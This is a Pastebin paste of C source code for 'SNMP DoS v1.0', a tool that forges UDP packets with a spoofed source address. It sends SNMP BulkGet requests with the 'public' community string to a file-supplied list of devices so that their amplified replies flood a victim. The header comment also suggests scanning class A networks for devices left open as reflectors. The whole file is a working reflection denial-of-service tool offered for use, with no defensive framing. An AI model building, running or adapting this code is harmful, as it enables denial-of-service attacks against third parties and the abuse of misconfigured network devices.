Guest User

SNMP

a guest
May 15th, 2014
2,018
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. /*
  3.  
  4. SNMP DoS v1.0
  5. 2.14.2005
  6. fugi@bl.org
  7.  
  8. Sends a spoofed SNMP BulkGet .1.3.6.1 request to list of devices in file with community string public
  9. equiv. command line is `snmpbulkget -v2c <device> public internet`
  10. well, the target will get the first large packet, not the results of GetNext
  11. generally it greatly amplifies the bandwidth
  12. ADMsnmp can be easiy used with some shell scripting to scan class As for devices set to 'public'
  13.  
  14. Code modified from snmpkill.c and some taken from papasmurf.c
  15. thanks kundera and tfreak
  16.  
  17. */
  18.  
  19. #include <stdio.h>
  20. #include <string.h>
  21. #include <unistd.h>
  22. #include <stdlib.h>
  23. #include <netinet/in_systm.h>
  24.  
  25. #include <sys/types.h>
  26. #include <sys/socket.h>
  27. #include <netinet/in.h>
  28. #include <arpa/inet.h>
  29. #include <netinet/ip.h>
  30. #include <netinet/udp.h>
  31.  
  32.  
  33.  
  34. #include <sys/types.h>
  35. #include <sys/socket.h>
  36. #include <netinet/in.h>
  37. #include <arpa/inet.h>
  38.  
  39.  
  40. struct sockaddr_in dest;
  41.  
  42. int sok,i=0, count=0, loop=0, lcount=0;
  43.  
  44. char *source, *filename;
  45. char c;
  46.  
  47. FILE *hostfile;
  48. char buf[32];
  49. u_long address[2048];
  50. int num = 0, n;
  51.  
  52. char snmpkill[] =
  53. "\x30\x24\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x17\x02"
  54. "\x04\x7b\x73\xcc\x13\x02\x01\x00\x02\x01\x64\x30\x09\x30\x07\x06"
  55. "\x03\x2b\x06\x01\x05";
  56.  
  57.  
  58.  
  59.  
  60. in_cksum (unsigned short *ptr, int nbytes)
  61. {
  62.  
  63. register long sum; /* assumes long == 32 bits */
  64. u_short oddbyte;
  65. register u_short answer; /* assumes u_short == 16 bits */
  66.  
  67. /*
  68. * Our algorithm is simple, using a 32-bit accumulator (sum),
  69. * we add sequential 16-bit words to it, and at the end, fold back
  70. * all the carry bits from the top 16 bits into the lower 16 bits.
  71. */
  72.  
  73. sum = 0;
  74. while (nbytes > 1)
  75. {
  76. sum += *ptr++;
  77. nbytes -= 2;
  78. }
  79.  
  80. /* mop up an odd byte, if necessary */
  81. if (nbytes == 1)
  82. {
  83. oddbyte = 0; /* make sure top half is zero */
  84. *((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */
  85. sum += oddbyte;
  86. }
  87.  
  88. /*
  89. * Add back carry outs from top 16 bits to low 16 bits.
  90. */
  91.  
  92. sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
  93. sum += (sum >> 16); /* add carry */
  94. answer = ~sum; /* ones-complement, then truncate to 16 bits */
  95. return (answer);
  96. }
  97.  
  98.  
  99. void usage (void)
  100. {
  101. printf("SNMP DoS v1.0\n");
  102. printf("Usage: snmpdos [-t target ip_addr] [-f host file] [-l loop count] \n");
  103. }
  104.  
  105.  
  106.  
  107.  
  108.  
  109. void loadfile (void)
  110. {
  111. if ((hostfile = fopen(filename, "r")) == NULL)
  112. {
  113. perror("Opening hostfile");
  114. exit(-1);
  115. }
  116.  
  117. while (fgets(buf, sizeof buf, hostfile) != NULL)
  118. {
  119. char *p;
  120. int valid;
  121.  
  122. /* skip over comments/blank lines */
  123. if (buf[0] == '#' || buf[0] == '\n') continue;
  124.  
  125. /* get rid of newline */
  126. buf[strlen(buf) - 1] = '\0';
  127.  
  128. /* check for valid address */
  129. for (p = buf, valid = 1; *p != '\0'; p++)
  130. {
  131. if ( ! isdigit(*p) && *p != '.' )
  132. {
  133. fprintf(stderr, "Skipping invalid ip %s\n", buf);
  134. valid = 0;
  135. break;
  136. }
  137. }
  138.  
  139. /* if valid address, copy to our array */
  140. if (valid)
  141. {
  142. address[num] = inet_addr(buf);
  143. num++;
  144. if (num == 2048)
  145. break;
  146. }
  147. }
  148.  
  149. }
  150.  
  151.  
  152.  
  153.  
  154. int sendit(ulong destaddr)
  155. {
  156.  
  157. struct pseudoudp {
  158. u_long ipsource;
  159. u_long ipdest;
  160. char zero;
  161. char proto;
  162. u_short length;
  163. } *psudp;
  164.  
  165. struct in_addr sourceip_addr;
  166. struct in_addr destip_addr;
  167. struct ip *IP;
  168. struct udphdr *UDP;
  169. char *packet, *packetck, *data;
  170. int datasize;
  171.  
  172.  
  173. destip_addr.s_addr=destaddr;
  174. sourceip_addr.s_addr=inet_addr(source);
  175. dest.sin_addr.s_addr=destip_addr.s_addr;
  176.  
  177. datasize=sizeof(snmpkill);
  178.  
  179. packet = ( char * )malloc( 20 + 8 + datasize );
  180.  
  181. IP = (struct ip *)packet;
  182.  
  183. memset(packet,0,sizeof(packet));
  184.  
  185. IP->ip_dst.s_addr = destip_addr.s_addr;
  186. IP->ip_src.s_addr = sourceip_addr.s_addr;
  187. IP->ip_v = 4;
  188. IP->ip_hl = 5;
  189. IP->ip_ttl = 245;
  190. IP->ip_id = htons(1047);
  191. IP->ip_p = 17;
  192. IP->ip_len = htons(20 + 8 + datasize);
  193. IP->ip_sum = in_cksum((u_short *)packet,20);
  194.  
  195.  
  196. UDP = (struct udphdr *)(packet+20);
  197. UDP->source = htons(161);
  198. UDP->dest = htons(161);
  199. UDP->len = htons(8+datasize);
  200. UDP->check = 0;
  201. packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp));
  202. bzero(packetck,8 + datasize + sizeof(struct pseudoudp));
  203. psudp = (struct pseudoudp *) (packetck);
  204. psudp->ipdest = destip_addr.s_addr;
  205. psudp->ipsource = sourceip_addr.s_addr;
  206. psudp->zero = 0;
  207. psudp->proto = 17;
  208. psudp->length = htons(8+datasize);
  209. memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize);
  210. memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize);
  211.  
  212. UDP->check = in_cksum((u_short *)packetck,8+datasize+sizeof(struct pseudoudp));
  213.  
  214. data = (unsigned char *)(packet+20+8);
  215. memcpy(data,snmpkill,datasize);
  216.  
  217.  
  218. return(sendto(sok,packet,20+8+datasize,0,(struct sockaddr *) &dest,sizeof(struct sockaddr)));
  219.  
  220. free(packet);
  221. free(packetck);
  222. }
  223.  
  224.  
  225.  
  226. int main(int argc,char **argv){
  227.  
  228. if(argc < 3) {
  229. usage();
  230. return 0;
  231. }
  232.  
  233. while((c=getopt(argc,argv,"t:f:l:"))!=EOF){
  234. switch(c) {
  235. case 't': source=optarg; break;
  236. case 'f': filename=optarg; break;
  237. case 'l': loop=atoi(optarg); break;
  238. default: usage();
  239. }
  240. }
  241.  
  242. loadfile();
  243.  
  244.  
  245. dest.sin_family=AF_INET;
  246.  
  247. if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
  248. {
  249. printf("Can't create socket.\n");
  250. exit(EXIT_FAILURE);
  251. }
  252.  
  253. n=0;
  254.  
  255.  
  256. while(lcount < loop){
  257.  
  258. while(n < num)
  259. {
  260. if(sendit(address[n]) == -1) printf ("SENDING ERROR!\n");
  261. n++;
  262. count++;
  263. }
  264.  
  265. if(n == num){ n = 0; lcount++;}
  266.  
  267. }
  268.  
  269.  
  270.  
  271.  
  272. printf("%i packets sent\n", count);
  273.  
  274. return 0;
  275. }
RAW Paste Data